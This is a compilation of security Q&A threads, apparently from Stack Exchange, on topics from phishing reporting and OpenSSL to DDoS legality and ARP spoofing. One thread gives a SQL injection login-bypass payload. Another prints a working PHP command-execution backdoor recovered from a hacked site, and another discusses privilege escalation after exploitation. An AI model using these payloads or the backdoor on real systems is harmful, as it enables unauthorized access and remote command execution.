Reporting the site to these lists helps other users.  Many modern browsers will query one of the lists maintained by these companies, and warn other users who try to visit that site.
Here is a good list of places to report to: https://decentsecurity.com/#/malware-web-and-phishing-investigation/
Notifying the owners of the website is a bit harder.  Here are some options:

You can poke around the website to see if it lists any information about how to notify the owners about security problems.
Sometimes email to security@example.org, abuse@example.org, root@example.org, or postmaster@example.org will reach a system administrator (replace example.org with the domain of the malicious site).  You could try emailing all of those addresses.
You could use WHOIS to look for contact information for the site owners.  See, this example.  You can use abuse.net to simplify the process of contacting the site owners: you'll have to register, but once you register, email to example.com@abuse.net is forwarded to the site owners of example.com.

Related:

What are common/official methods of reporting spam/phishing/nasty-grams to organizations?
Unknown malware, how to report it and whom to report it to?
What is a good method to report security breaches that are being used to actively spam?

Footnote: Thanks to Zoredache for the sites listed with a *!


How to exploit this SQL injection vulnerability? I am learning SQL injection on a vulnerable web app. I scanned it with w3af. It showed many vulnerabilities. One of them is:

  SQL injection in a Microsoft SQL database was found at: "http://www.example.com/Login.aspx?CurrentPage=Login", using HTTP method POST. The sent post-data was: "...ctl00$cphMain$txtUserName=d'z"0...".

How do I exploit this? What is the URL which will actually exploit is and give me access? Can anybody help me in this?

Usually when exploiting logins you want to inject something that prevents the password field from ever validating. This can usually be accomplished by putting syntax similar to the following as your password:

myphonypassword' OR 1=1;--

This will claim that you are the admin user, terminate the string in the actual query and make the query don't care if you wrote a legal password or not as the OR 1=1 makes the query always true.

There is many differnet variations you would have probably have to try to make this exploit work (especially if it is a blind SQL exploit). You can see many more examples in this SQL Injection cheat sheet specially for login bypassing.

In your specific example you probably have to edit the field called txtPassWord, however it is unclear by the little details you have provided.

Edit: since this is a post only parameter you cannot attack via URL only. You can intercept the request with a proxy and modifiy the post parameters that way or craft a new request with Curl like in the other answers suggestion


Is OpenSSL used in production? I noticed that OpenSSL gets a hard time regarding its implementation sometimes.

I understand it's Swiss Army Knife tool, but can keys generated with OpenSSL be considered secure (assuming the base OS has enough entropy)?

Is OpenSSL considered to be acceptable for Real World use?

I would regularly see people recommend GPG for example, over OpenSSL.

What gives?

Example: https://stackoverflow.com/questions/28247821/openssl-vs-gpg-for-encrypting-off-site-backups

Considering openssl processes a majority of the HTTPS traffic on the internet, I simply don't understand your question. Of course openssl is used in production. A lot. By everyone. All the time.
The API is not nice, the certificate processing code is not nice, the CLI is not nice, the documentation is often wildly outdated. It is not easy to use, and it is hard to use correctly. It will not hold your hand. It will not steer you away from danger. By all means, if you can, use Google Tink or libsodium.
There are two forks that tried to clean up the code by breaking compatibility - Google's BoringSSL and OpenBSD's LibreSSL. They are not very popular outside their organizations, exactly because they break compatibility.
The openssl code base has improved a lot since Heartbleed, it's not as bad as it used to be.
gpg is considered to be a dumpster fire comparable to Heartbleed-era openssl, so no, it's not better (look at the work of isis agora lovecruft).
EDIT:
If your question is about encrypting backup files for storage (or encrypting files to send to people over insecure channels), then gpg command line tool is better than the openssl tool.
The openssl CLI enc command should not be used, IMO, because its man page says:

For bulk encryption of data, whether using authenticated encryption
modes or other modes, cms(1) is recommended, as it provides a standard
data format and performs the needed key/iv/nonce management.

The openssl cli cms command is not the part of the openssl code that people use and trust, and I would not use it. Also, I would not use anything that tries to do openpgp or s/mime. So, if not openssl cli or gpg then what?
If you can use openssl's libcrypto API (for example with pyca/cryptography), I would prefer that over gpg. But if you're writing code instead of using a command line tool, I would use libsodium over libcrypto, to reduce chance of error.
But actually, the correct answer finally is to use age, because my own code was not reviewed by knowledgeable people and we finally have a good tool written and reviewed by people who know what they are doing.


How can one defend against DoS attacks at the physical layer? Of course, there's always the odd issue of old microwaves and wireless telephone handsets interfering with Wi-Fi performance.  And, in many areas, there's a fair chance that you're going to have to fight with some neighbors for a clear channel.  This is not what I'm asking about.  I'm curious to know what can be done when there is someone with an axe to grind, who has equipment capable of stomping all over your 2.4 GHz and/or 5 GHz radio space and a little too much free time on their hands.

Is there anything that can be done from a network architecture standpoint, to reduce the likelihood that such an attack will have a worthwhile effect on the performance of your Wi-Fi devices?  What else can be done to reduce the impact?

One of the two technologies used in the early 802.11 days was Direct Sequence Spread Spectrum - it had interest in military circles because it spread the signal across a wide range of frequencies with three key benefits:

very low signal base, making it very difficult to identify the signal in amongst RF noise
Resistance to intended or unintended jamming, meaning you would need to jam a wide range of frequencies in order to stop the signal
Sharing of a single channel among multiple users

Another solution is to use highly directional antennas - narrow point to point links require an attacker to get close to that line of sight in order to impact the signal path.

Now this may not be useful for you at a home network level, but for a home network you have very simple options - run ethernet or use powerline technology. Can be deployed within minutes.


What factors increase the probability of duplicating a GUID? It's been argued that a GUID doesn't do a good job of being a one time security token , and it makes sense because GUIDs aren't random.

In my scenario: suppose a given company is using GUIDs as a security token, and needs to see the math behind the possibility of a security breach, before they will consider it a security concern...

That being said:

  What is the statistical probability of an outsider guessing a GUID?

From what I can tell, the probability increases if the attacker knows the time/date the GUID was generated; but I don't know how to calculate the degree / scope of the vulnerability.

The probability also increases if the GUID is generated on the same machine (and perhaps the attacker knows this) for GUID versions 1 though 3.  I'm unsure if this also applies to GUID version 4.

I've seen GUID spoofers so... The concept is out there. I'm sure given time, a determined attacker would succeed in duplicating the GUID even against the new standard.

Perhaps, an alternative would to not based authentication on time, and place but, instead ensure that authentication is unique to the individual(not the machine/terminal). Secondly, that the data is completely encrypted from sender to receiver. PGP comes to mind but, once you start securing everything the network also has to be prepared to accept the added overhead.

Networks admins start complaining about right now, and then the executives see $$$ only, and decline or dilute the process so that it will get done,
"slowly but, surely..."

If you are preparing to present this I would suggest you show them they'll lose more $$$ in the long run being insecure then, they will if they are secured.
They love numbers no mater if its - or +. Its their language, like technical terms are ours. Research, what hackers are researching. In this instance Google will come in handy. Think like the attacker would have too for a second, and see where that takes you.

Hope it helps ;-)


Clicking on a Google search result sometimes redirects to malicious site Key Facts:

On 3 separate occasions, in the past 3 months, with 3 different google search queries, I was redirected from the intended site to a malicious site. Always from a Google search using Firefox.

The redirect is not repeatable: doing the search again and clicking on the same link does not redirect.
This is on work computer, signed into a domain, on Windows 10.

I ran a Malware Bytes Scan. All negative. No proxies, and the hosts file has no unknown entries.

Firefox Extensions

ADB Helper
Firefox Pioneer
LastPass

Firefox Plugins

Openh264 Codec
Widevine Content Decryption
Shockwave Flash (out of date, but also set to "Ask to activate")

More Details

As best I can tell from looking at my Firefox history, the redirects happened in about September 15, then again on Oct 30, and again today (Nov 8). Each redirect was through completely unrelated websites and unrelated searches. (I am excluding the  searches and websites I clicked on, but will include them if requested).  As far as I was able to tell, the sites were running different platforms, and a quick eyeball of the source didn't reveal any malicious code on these sites. Each redirect was to a similar site.

This is on a work computer, but we're a medium-small business without a truly dedicated IT team (I kind of serve as backup IT when the main guy is out). We haven't heard of any reports from other employees of problems, but in the way I experienced it, its very easy to dismiss. Because if you get redirected, its easy to assume you accidentally clicked the wrong link or the site you visited was hacked. And if you try to repeat your steps, you get to the site you were intending, so you assume you did something wrong. In any case, the primary IT guy here hasn't encountered the problem, so we believe its my local machine but I don't know where to look now.

It appears you have been the victim of malvertising. Web sites often pull in all manner of third-party code from ad networks, and what ad gets displayed is determined by multiple algorithms which advertisers use to bid on access to your eyeballs. Even the most reputable sites can become unwitting accomplices to this skullduggery because they have no control over what ads the third-party networks serve them.

Your best defense against malvertising is keeping your system patched up-to-date and, where it doesn't break the site you are visiting, using an ad blocker.


Can an HTML-based patient report be HIPAA-compiliant? Assume I am creating an application that generates a report of health recommendations based on input patient diagnostics.

My application receives no identifying information about the patient. It receives only a unique patient identifier (e.g. "Patient #123456") and the patient's diagnostics (e.g "Heart rate 80 BPM").

The report output by my application contains only that unique identifier, diagnostics, and health recommendations (e.g. "Patient #123456 had a sodium level of a billion mEq/L. We recommend the patient eat less salt.")

I want to avoid generating these reports as PDFs because PDFs are difficult to develop. I'd much rather generate print-friendly HTML/CSS webpages, which my users can then print/export to PDF if they would like. (Assume all my users are all on modern desktop web browsers -- no IE8 outliers.)

What would be the regulatory concerns (if any) of delivering reports as static webpages, rather than PDFs? Can I mitigate these somehow?

Yes, an HTML based report can be HIPAA compliant.

The format in which the report is presented has no significant consequence to compliance. The behavior of the system that is generating the report is what you should be focusing on.


Does your ISP know what type of phone/computer you're using? For instance do they know whether you're using an iPhone or Samsung?

Depends on the device and if you have taken any steps to hide it. Most devices by default put a lot of identifying information in the User-Agent header on outgoing HTTP/S requests. For HTTP requests these will be visible to anyone with wire access. For example for Android from here -

Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30

And for iPhones -

Mozilla/5.0 (iPhone; CPU iPhone OS 6_1_3 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B329 Safari/8536.25

Mobile carriers/providers meanwhile have access to your IMEI which uniquely identifies your device.
*As @Anders points out there are also service fingerprinting techniques. Any connection to a manufacturer related applications/service could be an indicator. As could profiling of data patterns (a simple approach would be fingerprinting device update files). I initially leaned towards user-agents because the original question asked about ISP's / this approach can be used no matter how the device is connected (i.e. IMEI is only visible to your carrier unless they forward it on. User-Agent would be visible on non-encrypted requests from any internet connection - WiFi, ADSL etc).


Detect when I do brute force attack and block the connection My server (Ubuntu + LAMP) is infected, as I receive security alerts from the sites attacked from my IP.

  your Server/Customer with the IP: ********** has attacked one of our servers/partners.
  The attackers used the method/service: bruteforcelogin  on: *Sat, ** *** 2015 17:15:17 +0200*.
  The time listed is from the server-time of the Blocklist-user who submitted the report.
  The attack was reported to the Blocklist.de-System on: *Sat, ** **** 2015 21:27:10 +0200*

Is there a tool or method to detect if I do an attack and to block outgoing connections to it ? Or receive at least an alert ?

One way to mitigate this issue would be to implement egress filtering on your network.  For example most web servers should have no requirement to make connections to the SSH ports of arbitrary hosts on the Internet, so if you block this traffic at the firewall your systems become less useful to attackers

Also this can help reduce the risk of compromise in the first place, as egress filtering can make establishing active control of your systems harder (not impossible, but it raises the bar a bit).

If you want to go down the detection route, a network intrusion detection system (e.g. snort) could be used to alert on unusual traffic patterns like brute-force attacks.


What notable examples of metamorphic engines are there? I am doing a research project on metamorphic malware and would like to have access to a metamorphic engine I could demo. Are there any good open-source (or easily obtainable) metamorphic engines I could experiment with for this project?

From my point of view you can start with Metasploit and check the encoders that exist there, such as shikata-ga-nai, etc.... There are some articles interested https://www.cs.unm.edu/~crandall/ccsdacoda.pdf and http://lsd.ls.fi.upm.es/papers/2009/srds2009.pdf where you can find very useful references about the topic. Finally if you want to dig on how metamorphic techniques works I definitively you recommend starts with https://github.com/K2/ADMMutate that covers the most interested metaphoric techniques.


What common techniques are there to decrypt a file given that I only know the private RSA key? I've been trying to solve an online challenge.
I've been given a file, which I suspect is encrypted (around 15KiB).
I've also managed to obtain what seems to be an RSA private key (n == 2048).
I know that RSA wasn't used to encrypt the whole file since from what I've read, given that n = 2048, the maximum data size it can encrypt is 245 bytes.

What are my options here?
I've read that usually large files are encrypted using a symmetric encryption algorithm and that RSA is used to encrypt the symmetric key.

Given that I only have the encrypted file and the private RSA key, what is my best course of action to try and decrypt the file?
Are there any common techniques here?

Take the first 256-bytes and try decrypting them using the key? Or the last 256? You'll know if it doesn't work because the padding will be incorrect (try with both PKCS#1 v1.5 padding and OAEP). If it works, you can then see whether what you get out is something like an AES or 3DES key which could be used to decrypt the rest of the data.

You could also try running the file through an ASN1 decoder to see whether it is in any other format that is encoded that way.


Does a rewritten file on NTFS use the same blocks? Suppose that we produce a sensitive document on a Windows 7 box, NTFS filesystem. As we write the document, it grows longer, and we keep saving it, which means that the editor overwrites it from the beginning, truncating it to zero length and re-creating new content.

Assuming that the editor itself re-uses the same filesystem object itself, are we assured that the filesystem will use the same physical blocks on disk for all the parts of the file that already exist? Or can it allocate new blocks right away, since the tail end of the file is truncated off?

Or does it depend to how the file is written: overwrite followed by explicit truncate, versus opening for overwrite?

The relevance to security is that if the previous blocks are liberated and potentially different blocks are allocated to the file, then it is not enough to shred the file to destroy it; we must wipe all free space after having done multiple saves. To avoid doing that, we must produce the file in a single pass, or else shred the on-disk copy outside of the editor prior to each save.

In general, block allocation is the most expensive operation in filesystems, so filesystems will try quite hard to avoid it, in particular by reusing blocks when possible. This would mean the following:

When overwriting an existing file, the same blocks are reused. New blocks are allocated when the new file data exceeds that of the overwritten files.
When truncating an existing file, all the blocks are released, thus potentially reusable for other file operations. In that case, the new file may allocate new blocks. There is no guarantee that the new file contents will reallocate the same blocks, and, in particular, the old blocks might have been reallocated to other files in the mean time.

However, it depends a lot on the filesystem internals. Log-structured filesystems perform all writes sequentially, throughout the whole partition, so it is pretty much guaranteed, with such a filesystem, that the new file will not overwrite the blocks from the old file. Journaling filesystems may copy the file contents to an extra structure (the "journal") in addition to the actual permanent storage (depending on whether the journaling extends to the file contents, or just the metadata). Some filesystems also use a "phase tree" which can be viewed as a log-structured filesystem, with a tree instead of a list; for these, overwrites may or may not happen.

An important point to consider is that block allocation strategies do not depend only on the filesystem, but also on the implementation. There is no guarantee that Windows XP and Windows 7, for instance, behave similarly on the same NTFS filesystem. One OS version may find it worthwhile to keep around old blocks to "speed up (re)allocation" while another could employ another strategy. This is all heuristics, tuned and retuned. Thus, one cannot really answer your question about "NTFS"; one would have to talk about "NTFS as implemented in OS foobar, version 42.17, build 3891".

Moreover, all these blocks are what the OS sees; actually physical storage may differ, and move/copy data around. This is typical of wear-levelling algorithms in SSD. Generally speaking, overwriting/shredding files on SSD is not reliable (see this answer for details and pointers). But some data movement can also happen with magnetic disks (in particular when a flaky sector is detected; remapping is done on the fly, and the old sector remains untouched, forever).

This basically means that file shredding does not work well in that it cannot guarantee that the data will be destroyed. You should use file shredding only as an emergency measure when other methods have failed or were erroneously not applied. The correct ways to permanently destroy a file are:

Wholesale destruction of the complete disk, e.g. by dissolving it in acid.
Encryption: when the data is encrypted, destroying the key is enough to make the data unrecoverable. While this does not completely solves the issue (you still have to destroy a data element), it makes it much easier (a key is small: it is much easier to destroy 128 bits than to destroy 128 gigabytes).

Secure erasing, when implemented properly by the disk, works with the encryption trick.


Are voluntary / manual DDoS illegal? Since DDoS is simply a group of subjects coming together to send requests to a particular server, is it true to say that a voluntary DDoS is perfectly valid and legal in US?

By that, I mean that a program (e.g. Low Orbit Ion Cannon) is running openly on the user's computer and not trying to hide it's tracks using unscrupulous methods.

For example, a coordination program can be distributed to all the students in a school, all of them willingly and knowingly running the program in the background. And then once a month a random site would be selected as "test target" receiving requests from all computers in the group in a short time frame.

In fact, how about we achieve coordination without using any programs at all? We can employ means like simple word-of-mouth e.g. telephones or face-to-face chat etc. Now, there are no programs, and we simply visit x 100 the website at the appointed time. All of us.

Now is that still illegal (in USA)?

If you voluntary contribute to a Distributed Denial of Service attack you are being an accessory if someone uses the botnet (you are voluntary part of) to perform an illegal action such as taking down a website. If this take down results in financial damages you may be hold accountable for those damages.

Here's a small excerpt of an interesting article on LOIC:

  Getting back to DDoS arrests, there are many, many precedents of the
  law catching up with anons who turn out to be not so anonymous. In
  late 2010, a 16 year old Dutch teenager was arrested for using LOIC as
  part of Operation Payback against companies that had begun refusing to
  process payments to WikiLeaks. This lead to retaliation against the
  national prosecutor’s website which quickly results in the arrest of
  another Dutch teenager, this time a 19 year old. Apparently the guy
  just fired LOIC up from his own PC connected directly to the internet
  without taking any identity obfuscation measures. As the article in
  the link says “That's a pretty silly mistake to make if you're going
  to attack the website of your country's national prosecutor”. Indeed.
  Then there was Giordani Jordan in the US a couple of years back,
  Dmitry Olegovich Zubakha in Cyrpress and a two unnamed teenagers in
  Norway last year plus of course Christopher Weatherhead in the UK who
  we now know is in jail. It’s a rapidly growing list of global arrests.

Also installing a program which makes you part of a botnet is a bit retarded. You are voluntary building a potential backdoor into your system which will likely be used for malicious intent.

Note that all of the above is when you intentionally install custom versions of LOIC or additional programs which allow remote users to use your machine.

That said, if want to test a company's network (on their request with complete legal paperwork which state that they are aware what a DDoS actually does and that they are aware that this can take down their systems) then it should be OK to proceed. LOIC can be used to do this, or you can use Apache Benchmark as an alternative if you want to test a website.  There is nothing wrong in using the tool, it is what you are using the tool for. It's similar to using a knife to kill someone or make turkey sandwiches.

Intent is key here.  If you visited the website with the intent to view information, then this might be regarded as normal usage. If your intent is to take down a website in an orchestrated attack then yes it is illegal.


What is the purpose of having 10 MFA Recovery Codes? When you enable MFA for many popular services they provide you with 10 recovery codes that will allow you to temporarily disable or update your MFA settings with their service in the event that your device is lost, stolen, or simply stops working.

But why do they generate 10 codes? It's counter-intuitive to me that there would be more than a single recovery code generated.

Is security not weakened by virtue of the fact that there are 10 codes, not one? If there's only one code the attacker must "guess" that particular code out of all possibilities. But if there's 10 codes then an attacker only needs to guess 1 of the 10 out of all the possibilities which I understand as a ten-fold increase in the probability of a successful attack.

Can anyone shed some light on the reasoning behind this?

The codes are normally one time use, so providing more than one is most likely a convenience to the end user. For example, maybe the user needs to login but doesn't have the chance to change their security settings until a later time. Or maybe there was an error in the login and now they are completely locked out if they didn't have additional codes.

Many of the services also email you when the backup keys are used, so you are instantly notified.

I would assume many of the services also take precautions to thwart brute force attempts, whether that be by rate limiting, lock outs, black listing or notifications to the account owner.

I remember reading about how the recovery keys are generated and saved, but I can not find the source now. From what I remember, there are like 1000, or maybe a lot more than that, pre generated recovery keys. They provide 10 for you to use that are active, and when one is used, it is no longer usable and now there are less available recovery keys over all (999).


Ways to protect source code from theft I just want to know better ways to protect source code from theft on Windows by Removable Devices like CD,Pendrive.

Here is what I know:

Windows Disk Encryption: Pretty nice to protect from offline attacks but when you copy code from encrypted drive to your pen drive windows automatically stores decrypted copy. ( Well, Is there any way to stop this?.)
Encryption programs like true crypt make encrypted containers to hold sensitive data,but when those are mounted,code is unprotected. ( same for programs like Folder lock )
I read somewhere that we can build filesystem filter driver to prevent data from being copied but developing that is not easy.
We can develop Windows Explorer shell extensions but what if someone copies it by Command Prompt or other copy program.

Imagine that this is the only system we have ( so we cant code on another machine ) & we cant entirely disable usb or cd.

It seems like what you need is a healthy dose of magic unicorn dust.

What you are looking for is impossible to accomplish. Period. Especially since your machine needs to be on and logged in to be actually useful.

If you are looking to prevent your developers from taking the source code they write off your machine, get new developers. You obviously don't trust them enough to not steal the code they write for you so how can you trust them enough to actually write code worth stealing for you?

If you are looking to prevent thieves from accessing your source code, why even let thieves get anywhere near your machines in the first place?


AntiXSS for ASP.NET 1.1 Unfortunately, a client of mine still has an application based on ASP.NET 1.1.
Yes yes, I know - horribly insecure, support ending, and on and on... I've already been through that with them.

Unfortunately, their upgrade timeline is not soon enough.
In the meantime, they're trying to plug some of the larger holes... E.g. very common cross-site scripting flaws. Of course, I recommended using MS' AntiXSS Library for that (especially since many of the flaws would not be plugged with simple HtmlEncode)...

Unfortunately, AntiXSS doesn't work with ASP.NET 1.1 - or, at least as far as I know. The versions I found go back to ASP.NET 2.0 (version 1.5).

So, the question - was there a version for 1.1? If so, where can I find it? If not, do you have anything else to do the job - in ASP.NET 1.1?

There was not a version for ASP.NET 1.1.  The AntiXss library is open source though, so you might be able to find the earliest version and try to convert to 1.1.


Impossible to make connections through closed ports? If you have closed all your ports on your internet protocol, you cannot make a connection to that internet protocol.
So how do attackers (DoS or any other means that need a connection) make a connection, when even if you have not closed all your ports, your firewall seems it has.
I am saying this because when I port scan someone's internet protocol, the scanner see's no open ports.

DoS attacks don't require any open ports on your side. They can just use all your bandwidth even if the ports are closed.

How?

The IP packet are sent from the attacker, and routed through several routers until it reaches your system. If the port is open, the connection succeeds. If not, your system can send back a "Port closed" message or simply drop the packet.

Either way, the packet has already travelled all the way to your system, clogging all the path along the way.


Depleted DB User Connections leads to DoS I want to ask you for clarification and advice regarding the following situation that emerged during a penetration test of my client's eCommerce shop.

My client is using an xt:commerce shop software in combination with a MariaDB. During an initial automated discovery of potential SQLi and XSS vulnerabilities, the middleware that reports about various errors (web server, PHP and database errors) suddenly threw multiple errors that the maximum number of allowed user connections were exceeded:

(HY000/1203): User xyz already has more than 'max_user_connections' active connections.

Subsequently, similar error messages were spawned:

exception 'Exception' with message 'Unable to connect to database server!'
Error-Nr.: 1045 Access denied for user 'abc'@'localhost' (using password: NO)

Effectively, for the page visitors it was not possible to browse the articles or to purchase them as no one was able to connect to the database using the standard user anymore.

The question was, why internally the database kept some connections open. It seemed like some jobs failed to finish. After some more investigations, we found that 99% of the open connections related to this particular user were in a zombie-like state with status Waiting for table flush. Immediately, I thought that the client was using an unreported backup script that would execute some sort of ANALYZE TABLE as reported here, which unfortunately colluded with the penetration test. And indeed there was an unreported CRON job doing just this. However, we found that this job didn't run at this time and hence could impossibly be the reason for the behavior.

So my first question is: What could be the reason that led to this deadlock situation, which could only be resolved by a restart of the database service?

Secondly, during a second phase, which did not involve SQLi tests at all but during which different XSS vectors were tested against a potentially vulnerable script in an automatic fashion, we again saw that the maximum number of user connections were depleted. This effectively is a DoS against the database making it unavailable to legit users of the website. We checked the related database configuration entries and they were adjusted as follows:

max_connections=250
max_user_connections=30

As the legit users connect via PHP using the same DB user, there are effectively 30 connection available.

So my second question is: How can you mitigate such easy DoS attacks against the DB, where you simply exhaust the available connection by executing numerous SQL queries (i.e., be repeatedly querying a search form)? A naive approach would be setting max_user_connections=0. However, there will be a trade-off and I have a bad feeling about it. One the one hand you get rid of the bottle neck of limited connections. However, the DB resources will be stressed much more. Is there a more clever way to avoid such DoS-like situation while also maintaining a reasonable usage of the DB resources?

P.S.: Yes, never do an active / aggressive pen-test on a live system. The client explicitly asked (begged) to do it anyway, no matter how much I told him that this is a very bad idea.

The best thing i could think about is to fix the application and the Environment that it will work correctly and closes all DB Connections after use. And if the CronJob runs some time and don't close it's Connections this could also be a problem.


Removing malware from a USB drive Let's suppose I plugged in my UBS flash drive in my friends' PC and it got infected with malware. Is there a way I can wipe the USB drive without connecting it my or some other computer (and infecting it in the process)?

You can plug your USB drive on a virtual machine based on Linux. Before that, you can stop the automatic mount of externals drives.

After, you verify the recognition of your drive with:fdisk -l

You note his path: /dev/sdX, don't mistake with another drive !!!

You note his blocks count and their sizes (512 by default)

You can erase all datas on the drive with:

dd if=/dev/zero of=/dev/sdX count=<blocks count> bs=<blocks size>

After that, your drive will be totally erased. If you are paranoid, you can delete you virtual machine too. This method doesn't clean the potential infected firmware of your drive.


How does a keypair fingerprint work? Setting up an AWS instance with the instructions here, I create a public/private keypair. I understand the public key fingerprint is usually just a hash of the public key.

However, the instructions here show that you can confirm that your private key and public key match by verifying their fingerprints are the same. In other words, running a function on my private key file on my local machine yields the same fingerprint for the public key.

How is this possible? How are the private and public keys linked in any way such that they produce the same fingerprint, and how does this verification process work?

Pubkey is INCLUDED in privkey
It's a bit confusing but the way these members of the keypair are saved is such that the pubkey is a proper subset of the information inside the privkey.
This means that all the information of the pubkey is contained inside the privkey structure.
So what the AWS guys are doing is using openssl's -pubout switch to derive the pubkey from the privkey and then take the checksum. And they compare that to the checksum that is DIRECTLY taken off of the pubkey.
Further reading
In depth explanation about how improperly and properly check if a cert's pubkey matches a privkey:

2017-07-20, Hanno Böck, How I tricked Symantec with a Fake Private Key (Archived here.)


Possible to decode md5 hash of a malicious URL? Context: I had a virus on my WordPress website server that injected itself into every functions.php file on the server across two different sites. After removing the heavily obfuscated virus code I decoded it. (I won't bore you with process details.) The resulting code was a simple backdoor that let the hackers execute code at the system level only from one specific URL that they control.

<?php
$c = "2caf6917ca3d9a3a85d26029ed623b1a";
$p = md5(urldecode($_REQUEST["p"]));
if ($p != $c) exit;
$s = urldecode($_REQUEST["s"]);
if ($s == "") exit;
system($s);
exit;
?>

Is it possible to decode the md5 hash, and therefore learn which malicious website was using the back doors to my server?

Is it possible to decode the md5 hash, and therefore learn which malicious website was using the back doors to my server?

As for the (in)feasibilty to decode the md5 hash see for example here. In short: if it is simple you can brute force it, if it is complex it will be infeasible.

But even if you would be able to decode the hash: it does not contain the information you want, i.e. to know who is using the backdoor. This hash instead is just the hash of a password and if the password (parameter p) does not fit the predefined hash then the code will not be executed:

$c = "2caf6917ca3d9a3a85d26029ed623b1a";
$p = md5(urldecode($_REQUEST["p"]));
if ($p != $c) exit;

The command to execute instead is inside the parameter s:

$s = urldecode($_REQUEST["s"]);
if ($s == "") exit;
system($s);

But even this does not tell you who is using the backdoor but only what the attacker is doing. To get more information about the attacker you actually would need to look into the access log of your server. With luck you might find requests to your site with a path like this:

 /compromised.php?p=<password>&s=<command>

From this log you get the password and the command and you get also usually the IP address of the client which accessed the URL - i.e. the public IP address of the attacker. Note that this does not need to be the real IP address of the attacker since the attacker could use other systems (like a botnet) as jump hosts or could even embed this malicious action as URL into some site where it gets called by an innocent visitor - although in this case the attacker unlikely gets the output of the command.

Note that the request parameters might also be send as parameters inside a POST request in which case you only see the access to the compromised PHP script but not the parameters in the log. Yet, you still have the source IP address and you know when the backdoor was called. And you might disarm the backdoor (i.e. disable the call to system) and instead log parameters in the hope that the attacker will still try to use the backdoor.


What CA signed my certificate? I'm trying to set up a Docker image that has our internal CA certificates installed so that users across the organization can make secure requests to intranet sites. We have a few different CAs that are used by different groups inside the organization. I'm trying to figure out which CA signed a particular certificate, becuase I cannot seem to get it trusted. In the browser on my laptop, the certificate is fully trusted, but when I try to make a request with cURL in the docker image, I get the following error:

curl: (60) SSL certificate problem: unable to get local issuer certificate
More details here: https://curl.haxx.se/docs/sslcerts.html

curl performs SSL certificate verification by default, using a "bundle"
 of Certificate Authority (CA) public keys (CA certs). If the default
 bundle file isn't adequate, you can specify an alternate file
 using the --cacert option.
If this HTTPS server uses a certificate signed by a CA represented in
 the bundle, the certificate verification probably failed due to a
 problem with the certificate (it might be expired, or the name might
 not match the domain name in the URL).
If you'd like to turn off curl's verification of the certificate, use
 the -k (or --insecure) option.

I'd really like to avoid telling people to just use -k. I have tried installing the known CAs in multiple locations, and using the --cacert option on a bundle file. Is it possible using a browser or other utility to export the CA that was used to sign a certificate?

Is it possible using a browser or other utility to export the CA that was used to sign a certificate?

The root CA certificate which is responsible for a leaf certificate is usually not sent within the TLS handshake. If you already have the CA locally installed in the browser you can export it there (details depend on the browser) but if it is unknown to the browser or system this is not possible. All you can get is the name of the issuer from looking at the issued certificate and then you have to find out where in your infrastructure the certificate has been issued and what root CA was responsible for this.


How to enable concurrent users, one RDP and one local, in post exploitation in windows without disk modification? I want to do this by  just using memory and not using disk modification or a tool, in post exploitation of a remote system, i already know how to enable RDP but the problem is when a user is logged in i cannot log in

there is a method :

https://www.mysysadmintips.com/windows/clients/545-multiple-rdp-remote-desktop-sessions-in-windows-10

and i thought i can do it in memory and patch that instruction inside memory instead of disk, but found out SVCHOST processes have SYSTEM integrity and so i cannot inject into them and modify them

so how can this be done? any other way that i can do this without using any tool or disk modification?

EDIT : I'm not using a tool, its my own code, so is there any other way other than privilege escalation to SYSTEM? since that might not always be possible on windows 10. i thought maybe since its a task and not a process then there might be a trick to inject tasks or something

If the process is high-integrity, then you need to be running with either SYSTEM or Administrator privileges.

Since your exploit is evidently not providing the necessary privileges, you would need to escalate your privileges first. If you're using a common tool like Metasploit, there may be an escalation plugin that applies to your target. Given the automatic nature of Windows 10 patching, however, the built-in plugins rapidly go out of date.

Alternatively, you can exploit the system in a way that grants the necessary privileges. There's always a bit of research to determine what exploits are necessary for a particular demonstration. Sometimes there are none "out of the box", and you would have to create your own (or purposefully use an unpatched Windows instance).

Ultimately, the right tool for this situation (A) depends on the specific patch level and configuration of your target, and (B) may not exist for your target.


injecting javascript in webviews in Android I am relatively new to mobile application security. Currently I am supposed to audit an android application which uses a webview to display some static FAQ page in an activity.

The webview in question has javascriptenabled as true for some business reasons. Now, I as the security auditor for the application, am a little concerned about this. I would like to understand that if this particular activity (that loads the webview) is not exposed (as in is not open to interactions with any other apps on the device - as also confirmed by Drozer), is it still vulnerable in anyway ?

Is there a possibility that some other rogue application on the device can still interact with the webview/get some arbitrary javascript executed in the webview ? If yes, why and how ?

What should be recommended to make the use of the webview relatively more secure ? Examples towards explanation and any reference are appreciated.

Heheh, feels weird to circle back on my own question almost 5 years since posting it ! I have gotten a chance to explore web view a little more since then. And this may serve someone, hopefully.

http://www.nuckingfoob.me/android-webview-csp-iframe-sandbox-bypass/index.html


How exactly do you protect against ARP spoofing in large LANs? No matter how much I google I can't get a definitive answer.

Static ARP entries:

  Static ARP addresses prevent only simple attacks and do not scale on a
  large network, since the mapping has to be set for each pair of
  machines resulting in n^2-n ARP entries that have to be configured
  when n machines are present: On every machine there must be an ARP
  entry for every other machine on the network, which are n-1 ARP
  entries on each of the n machines. While static entries provide some
  security against spoofing if the operating system handles them
  correctly, they result in maintenance efforts as address mappings of
  all systems in the network have to be distributed.

ARP detection software:

  This method is pretty useless. There are very few ARP detection
  programs out there, and the few that do exist are either free junk or
  over priced. In addition, to use these programs on a windows machine
  requires installing special drivers for your wireless cards.
  Recommendation: Don’t use.
  http://lewiscomputerhowto.blogspot.com/2014/03/perform-man-in-middle-attack-with-kali.html

So if neither anti-ARP software nor Static ARP entries work then how do you protect against ARP spoofing in a big network?

First of all: Except for the availability and stability of the connections, ARP spoofing is only a problem when the layers above don't implement effective measures to ensure integrity and confidentiality of the data. Since ARP spoofing is not the only way to execute a MiTM attack, you should focus on the security of the layers above first to ensure that the data cannot be tampered. (IPsec, TLS etc.)

Further it's a good practice to keep LAN segments as small as possible since the overhead of several protocols can impact the overall performance and stability. It also allows you to reduce the attack surface by isolating hosts into subnets and VLANs so that they are only available to hosts which are required to use the offered services.

Once you are done with segmentation you could re-evaluate whether static ARP tables are feasible for some of your segments. Then you could also have a look at 802.1x-2010 aka MACsec.

